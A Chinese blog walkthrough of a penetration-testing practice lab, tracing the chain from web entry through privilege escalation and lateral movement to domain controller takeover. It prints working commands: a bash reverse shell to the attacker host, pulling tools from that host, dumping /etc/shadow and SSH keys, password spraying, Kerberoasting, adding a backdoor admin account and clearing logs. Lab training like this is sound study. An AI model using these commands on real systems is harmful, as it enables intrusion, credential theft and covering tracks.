☰
红日安全靶机第一关实战:从Web打点到域控接管全链路渗透
2026/10/15 4:59:58 网站建设 项目流程

1. 靶机实战入门:从零理解红日安全靶机的设计逻辑

红日安全靶机在圈子里算是比较经典的一套实战练习环境,很多刚接触渗透测试的朋友都会拿它来练手。我第一次接触这套靶机的时候,觉得它跟那些“一键getshell”的简单靶机完全不是一个路子——它更像是一个微缩的真实企业内网,有Web层、有跳板、有域环境,每一层都需要你动脑子去串联信息。这篇文章我打算把红日安全靶机第一关的完整实战过程拆开来讲,从信息收集到最终拿到域控权限,每一步的思考过程和操作细节都尽量还原出来。

如果你是一个刚学完基础工具、想找个靶场练练手的新手,或者你已经做过一些CTF但对企业内网渗透的完整链路还不太清楚,那这篇内容应该能帮到你。我不会只贴命令和结果,而是会把“为什么这么做”“当时是怎么想的”“踩了哪些坑”都讲清楚。毕竟靶机练习最大的价值不在于最后那个flag,而在于你能否把零散的知识点串成一条完整的攻击链。

红日安全靶机的整体设计思路是模拟一个中小型企业的网络架构:外网有一台Web服务器作为入口,内网有域控、文件服务器、数据库等多台机器,网络分段做得比较规范。第一关的核心目标是从外网Web打点进入内网,然后通过一系列横向移动最终拿到域管理员权限。整个过程涉及的技术点包括Web漏洞利用、反弹Shell、权限提升、内网信息收集、横向移动、域渗透等,基本上覆盖了企业渗透测试的主要环节。

注意:本文所有操作均在自建靶机环境中完成,所有IP地址、域名、账号信息均为靶机环境内的虚拟数据,仅用于技术学习与交流。请勿将相关技术用于未经授权的真实系统。

2. 环境搭建与信息收集:把地基打牢再动手

2.1 靶机环境部署与网络拓扑确认

在开始实战之前,先把环境搭好。红日安全靶机通常以虚拟机镜像的形式分发,你需要准备一台攻击机(Kali或者Parrot都行)和靶机环境。我个人的习惯是把攻击机和靶机放在同一个NAT网络里,同时给攻击机加一块Host-Only网卡,方便后续做内网横向的时候做流量转发。

部署的时候有几个细节需要注意。第一,靶机启动后先别急着扫描,确认一下网络连通性,用ping或者arp-scan看一下靶机是否正常上线。第二,红日靶机的Web服务有时候启动比较慢,尤其是数据库服务,建议启动后等个一两分钟再开始扫描。第三,如果你用的是VMware,记得把网络模式设置成NAT,不要用桥接,否则可能跟你的物理网络产生冲突。

网络拓扑大致是这样的:外网Web服务器暴露在192.168.1.0/24网段,内网有192.168.52.0/24和192.168.93.0/24两个网段,域控在192.168.52.0/24里。攻击机初始只能访问到Web服务器的外网IP,需要通过Web打点拿到第一个Shell之后,再以Web服务器为跳板做内网渗透。

2.2 端口扫描与服务识别:别漏掉任何一个入口

信息收集阶段我一般分两步走:先做全端口快速扫描,再对开放端口做详细的服务识别。全端口扫描用nmap -sS -p- --min-rate 1000 -T4 目标IP,这个命令的好处是扫描速度快,能快速定位所有开放端口。实测下来,红日靶机第一关的Web服务器通常会开放80、3306、8080等端口,有时候还会有一些非常规端口,比如7001、6379之类的,这些往往是后续利用的关键入口。

详细服务识别用nmap -sV -sC -p 开放端口列表 目标IP,这个步骤会识别出具体的服务版本和可能存在的默认配置信息。比如如果发现80端口跑的是Apache Tomcat,那就要留意是否存在弱口令或者已知漏洞;如果发现3306端口对外开放,那就要试试MySQL的弱口令或者未授权访问。

# 全端口快速扫描 nmap -sS -p- --min-rate 1000 -T4 192.168.1.100 -oN full_scan.txt # 详细服务识别 nmap -sV -sC -p 80,3306,8080,7001 192.168.1.100 -oN detail_scan.txt

实操心得:扫描的时候一定要加-oN或者-oX把结果保存下来,后面做信息整理的时候会方便很多。我见过太多人扫完就忘了开放了哪些端口,回头又要重新扫一遍,浪费时间。

2.3 Web目录扫描与敏感信息发现

端口扫描只是第一步,Web层面的信息收集才是重头戏。我一般会用dirsearch或者gobuster做目录爆破,字典选择上建议用中等规模的字典,太大的字典跑起来太慢,太小的又容易漏掉关键路径。

# 使用dirsearch进行目录扫描 python3 dirsearch.py -u http://192.168.1.100 -e php,html,js,txt -x 404,403 -t 30 # 使用gobuster进行目录爆破 gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirbuster/medium.txt -x php,html,txt -t 30

扫描过程中要特别留意几类文件:备份文件(如.bak、.zip、.tar.gz)、配置文件(如config.php、web.config)、后台登录页面(如/admin、/manager)、以及API接口路径。红日靶机第一关的Web服务器上通常会有一个后台管理页面,路径不会太隐蔽,但需要你细心观察。

除了目录扫描,还要看一下Web页面的源代码,有时候注释里会藏着账号密码或者提示信息。另外,robots.txt文件也值得关注,里面可能会泄露一些不想被搜索引擎收录的敏感路径。

3. Web打点实战:从外网撕开第一道口子

3.1 漏洞定位与利用方式选择

红日靶机第一关的Web入口通常是一个存在漏洞的CMS或者自研系统。根据我的经验,常见的漏洞类型包括SQL注入、文件上传、文件包含、命令执行等。定位漏洞的方法无非几种:手工测试、工具扫描、代码审计。对于靶机环境来说,手工测试加工具辅助是最效率的方式。

我一般会先用sqlmap或者xray做一轮被动扫描,看看有没有明显的SQL注入或者XSS。如果被动扫描没有结果,就切换到手工测试,重点看登录框、搜索框、文件上传点、URL参数这些地方。红日靶机的Web入口有时候会故意留一个比较明显的漏洞,比如一个未授权的文件上传接口,或者一个存在SQL注入的登录页面。

# 使用sqlmap检测SQL注入 sqlmap -u "http://192.168.1.100/login.php" --data="username=admin&password=123456" --batch --level=3 --risk=2 # 使用xray进行被动扫描 xray webscan --basic-crawler http://192.168.1.100 --html-output report.html

注意事项:sqlmap的--level和--risk参数不要一上来就调到最高,先从默认值开始,逐步提高。级别太高会产生大量请求,容易把靶机的Web服务打挂,也容易被WAF拦截。

3.2 反弹Shell获取与稳定性维持

找到漏洞之后,下一步就是获取一个反弹Shell。这里有个细节很多人容易忽略:反弹Shell的稳定性。我见过不少人拿到Shell之后,执行几条命令就断了,然后又得重新打一遍。保持Shell稳定的方法有几种:使用nc的-e参数(如果支持的话)、使用bash -i重定向、使用python的pty模块升级为交互式Shell。

# 攻击机监听 nc -lvnp 4444 # 靶机执行反弹Shell(bash方式) bash -i >& /dev/tcp/攻击机IP/4444 0>&1 # 升级为交互式Shell python3 -c 'import pty; pty.spawn("/bin/bash")' # 然后按Ctrl+Z挂起,执行stty raw -echo,再fg恢复

拿到Shell之后,第一件事是确认当前用户权限和系统信息。whoami、id、uname -a、cat /etc/os-release这几条命令先跑一遍,心里有个底。如果当前用户权限比较低,那就需要考虑提权;如果已经是root或者管理员权限,那就可以直接开始内网信息收集了。

3.3 权限提升:从普通用户到系统权限

红日靶机第一关的Web服务器上,初始Shell的权限通常是一个普通Web用户,比如www-data或者apache。提权的思路主要有几种:内核漏洞提权、SUID提权、计划任务提权、服务配置错误提权、以及密码复用提权。

我一般会先用LinEnum.sh或者linux-exploit-suggester跑一遍自动化检查,看看有没有明显的提权点。然后手工检查几个关键位置:sudo -l看当前用户有没有sudo权限、find / -perm -4000 -type f 2>/dev/null找SUID文件、cat /etc/crontab看计划任务、ls -la /home/看其他用户目录的权限。

# 下载并运行LinEnum wget http://攻击机IP/LinEnum.sh -O /tmp/LinEnum.sh chmod +x /tmp/LinEnum.sh /tmp/LinEnum.sh # 检查SUID文件 find / -perm -4000 -type f 2>/dev/null # 检查sudo权限 sudo -l

红日靶机第一关的提权点通常不会太难,可能是某个SUID程序配置不当,或者某个计划任务以root权限执行了可写脚本。找到提权点之后,按照对应的利用方式操作即可。提权成功后,记得用id确认一下权限,然后就可以开始内网信息收集了。

4. 内网信息收集与横向移动:从单点突破到全面控制

4.1 内网存活探测与网络拓扑绘制

拿到Web服务器的root权限之后,你就相当于有了一个内网跳板。接下来的任务是搞清楚内网有哪些机器、开了哪些端口、跑了什么服务。内网存活探测我一般用nmap的ping扫描,速度快而且准确。

# 内网存活主机探测 nmap -sn 192.168.52.0/24 -oN alive_hosts.txt # 对存活主机做端口扫描 nmap -sS -p 22,80,135,139,445,1433,3306,3389,8080 --open 192.168.52.0/24 -oN internal_ports.txt

扫描结果出来之后,把存活主机和开放端口整理成一张表,方便后续分析。重点关注开了445端口(SMB服务)和3389端口(远程桌面)的机器,这些通常是横向移动的主要目标。另外,如果发现开了1433(MSSQL)或者3306(MySQL)的机器,也可以尝试数据库弱口令或者提权。

实操心得:内网扫描的时候要注意控制扫描速度,不要用太高的并发,否则容易触发内网的流量监控或者把某些脆弱服务打挂。我一般用-T3或者-T2,虽然慢一点但更稳妥。

4.2 凭据收集与密码复用尝试

内网横向移动的核心是凭据。你需要在Web服务器上尽可能多地收集账号密码信息,包括但不限于:Web应用的配置文件、数据库连接字符串、系统用户的密码哈希、浏览器保存的密码、SSH密钥文件等。

# 搜索配置文件中的密码 grep -r "password" /var/www/html/ 2>/dev/null grep -r "passwd" /var/www/html/ 2>/dev/null # 查看系统用户和密码哈希 cat /etc/passwd cat /etc/shadow # 查找SSH密钥 find / -name "id_rsa" -o -name "id_dsa" 2>/dev/null

收集到凭据之后,下一步就是尝试密码复用。很多企业在内网中会使用相同的密码,尤其是系统管理员,可能Web服务器的root密码和内网其他机器的管理员密码是一样的。你可以用hydra或者crackmapexec做批量尝试。

# 使用crackmapexec尝试SMB密码复用 crackmapexec smb 192.168.52.0/24 -u administrator -p '收集到的密码' --continue-on-success # 使用hydra尝试SSH密码复用 hydra -l root -p '收集到的密码' -M ssh_targets.txt ssh

4.3 横向移动技术选型与实操

横向移动的方式有很多种,选择哪种取决于目标机器开放的服务和你手头掌握的凭据。常见的横向移动方式包括:PsExec、WMI、SMB、WinRM、RDP、SSH等。在红日靶机第一关中,我一般会优先尝试SMB和WMI,因为这两种方式在Windows域环境中最为常见。

# 使用impacket的psexec进行横向移动 python3 psexec.py 域名/用户名:密码@目标IP # 使用impacket的wmiexec进行横向移动 python3 wmiexec.py 域名/用户名:密码@目标IP # 使用crackmapexec执行命令 crackmapexec smb 目标IP -u 用户名 -p 密码 -x "whoami"

横向移动成功之后,你就拿到了目标机器的Shell。这时候要做的事情跟之前一样:确认权限、收集信息、寻找下一个目标。红日靶机第一关的内网通常有两到三台机器需要横向移动,最终目标是域控服务器。

注意事项:横向移动的时候要注意清理痕迹,比如删除上传的工具、清除命令历史、关闭不必要的连接。虽然靶机环境不需要太在意这些,但养成好习惯对真实项目很有帮助。

5. 域渗透与权限维持:拿下最终目标

5.1 域环境信息收集与攻击路径分析

拿到域内某台机器的权限之后,下一步就是收集域环境的信息。域信息收集的工具我推荐BloodHound,它可以直观地展示域内的用户、组、计算机、权限关系,帮你快速找到攻击路径。

# 使用BloodHound收集域信息 ./SharpHound.exe -c All # 或者使用PowerShell版本的收集脚本 Invoke-BloodHound -CollectionMethod All

收集到的数据导入BloodHound之后,你可以看到从当前用户到域管理员的最短路径。红日靶机第一关的域环境通常不会太复杂,但也会有一些经典的攻击路径,比如:当前用户对某台机器有管理员权限、某台机器的本地管理员在域内有高权限、某个服务账号可以委派等等。

5.2 域内提权与域控接管

域内提权的常见方式包括:Kerberoasting、AS-REP Roasting、委派攻击、ACL滥用、以及经典的Zerologon和PetitPotam等漏洞利用。在红日靶机第一关中,我遇到比较多的是Kerberoasting和ACL滥用。

# Kerberoasting攻击 python3 GetUserSPNs.py 域名/用户名:密码 -dc-ip 域控IP -request # 使用hashcat破解Kerberos票据 hashcat -m 13100 kerberoast_hash.txt /usr/share/wordlists/rockyou.txt

拿到域管理员的凭据之后,就可以直接登录域控了。登录方式可以用psexec、wmiexec或者RDP。登录成功后,你就拿到了整个域的最高权限,第一关的目标就算完成了。

# 使用psexec登录域控 python3 psexec.py 域名/域管理员:密码@域控IP # 确认权限 whoami # 输出应该是 域名\域管理员

5.3 权限维持与痕迹清理

拿到域控权限之后,如果是在真实项目中,还需要考虑权限维持的问题。常见的权限维持方式包括:创建后门账号、安装服务、修改注册表、植入计划任务等。不过在靶机环境中,这一步通常不是必须的,但了解一下没坏处。

# 创建隐藏账号(靶机环境演示用) net user 用户名 密码 /add net localgroup administrators 用户名 /add # 查看计划任务 schtasks /query /fo LIST /v

痕迹清理方面,主要是删除上传的工具、清除日志、关闭连接。Windows环境下可以用wevtutil清除事件日志,Linux环境下可以清除.bash_history和系统日志。不过说实话,在靶机里做这些更多是练习习惯,真实环境中想完全清除痕迹是非常困难的。

实操心得:域渗透的过程中,最容易被忽略的是时间同步问题。Kerberos协议对时间非常敏感,如果攻击机和域控的时间差超过5分钟,很多操作都会失败。建议在开始域渗透之前,先跟域控做一次时间同步。

6. 常见问题与排查技巧实录

6.1 反弹Shell连不上怎么办

反弹Shell连不上是新手最常遇到的问题,原因通常有以下几种:攻击机防火墙没关、靶机出站流量被限制、监听端口被占用、反弹命令写错了。排查的时候按顺序来:先在攻击机上nc -lvnp 端口确认监听正常,然后在靶机上curl 攻击机IP:端口测试连通性,如果连不通就检查网络配置和防火墙规则。

# 攻击机关闭防火墙(Kali) sudo ufw disable sudo iptables -F # 测试连通性 curl http://攻击机IP:端口

6.2 提权失败常见原因与解决思路

提权失败的原因很多,常见的有:内核版本太新没有可用漏洞、SUID程序被限制、计划任务不可写、sudo配置严格。遇到提权失败的时候,不要死磕一个方向,换几个思路试试。我一般会按照“内核漏洞→SUID→计划任务→服务配置→密码复用”的顺序依次尝试,哪个有戏就深入哪个。

提权方式检查命令常见问题
内核漏洞uname -a内核版本太新,无可用EXP
SUID提权find / -perm -4000 -type f 2>/dev/nullSUID程序不在GTFOBins列表中
计划任务cat /etc/crontab脚本不可写或路径不可控
服务配置systemctl list-units服务文件权限严格
密码复用grep -r "password" /密码已修改或加密存储

6.3 内网横向移动被拦截的排查方法

横向移动被拦截通常是因为目标机器开了防火墙或者杀软。排查的时候先确认目标端口是否真的开放,用telnet或者nc测试一下。如果端口开放但连接被重置,可能是杀软在拦截。这时候可以尝试换一种横向移动方式,比如从SMB换成WMI,或者从PsExec换成WinRM。

# 测试端口连通性 nc -zv 目标IP 445 telnet 目标IP 445 # 查看目标机器防火墙状态(需要已有权限) netsh advfirewall show allprofiles

避坑技巧:内网横向移动的时候,尽量使用系统自带的工具(如net use、wmic、powershell),少上传第三方工具。第三方工具容易被杀软查杀,而且会在目标机器上留下文件痕迹。

6.4 域渗透中Kerberos认证失败的排查

Kerberos认证失败最常见的原因是时间不同步。域控和成员机之间的时间差不能超过5分钟,否则Kerberos票据会被认为无效。排查的时候先在目标机器上执行w32tm /query /status查看时间同步状态,如果时间偏差太大,用w32tm /resync强制同步。

另一个常见原因是SPN配置问题。如果某个服务账号没有注册SPN,Kerberoasting就无从下手。这时候可以尝试AS-REP Roasting,找那些没有开启预认证的账号。

# 查看时间同步状态 w32tm /query /status # 强制时间同步 w32tm /resync # AS-REP Roasting python3 GetNPUsers.py 域名/ -usersfile users.txt -dc-ip 域控IP -request

7. 实战经验总结与进阶建议

红日安全靶机第一关的完整链路走下来,我觉得最有价值的不是某个具体的漏洞利用技巧,而是整个攻击链的思维方式。从外网信息收集到Web打点,从权限提升到内网横向,从域信息收集到域控接管,每一步都需要你根据手头的信息做出判断和选择。这种“信息→决策→行动→反馈”的循环,才是渗透测试的核心能力。

如果你已经完成了第一关,我建议你回头把每一步都重新做一遍,但这次不要看任何教程,完全靠自己的记忆和判断。遇到卡住的地方再回去查资料,这样印象会深刻很多。另外,可以尝试用不同的方法完成同一个目标,比如Web打点用SQL注入和文件上传两种方式各做一遍,横向移动用SMB和WMI各做一遍,对比一下哪种方式更隐蔽、更稳定。

后续如果继续做红日靶机的其他关卡,你会发现每一关的难度和侧重点都不一样。有的关卡侧重Web漏洞挖掘,有的侧重内网穿透,有的侧重域渗透的深度利用。建议按照顺序一关一关来,不要跳关,因为后面的关卡往往会用到前面关卡中积累的经验和工具。

最后再分享一个小技巧:做靶机的时候养成写笔记的习惯。每完成一个步骤,就把命令、结果、思考过程记录下来。这样一方面方便复盘,另一方面当你遇到类似场景的时候,可以直接翻笔记找到对应的操作方法。我自己的笔记里就积累了大量“某端口开放时优先尝试什么”“某提权方式失败后下一步试什么”之类的经验条目,实战中非常管用。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询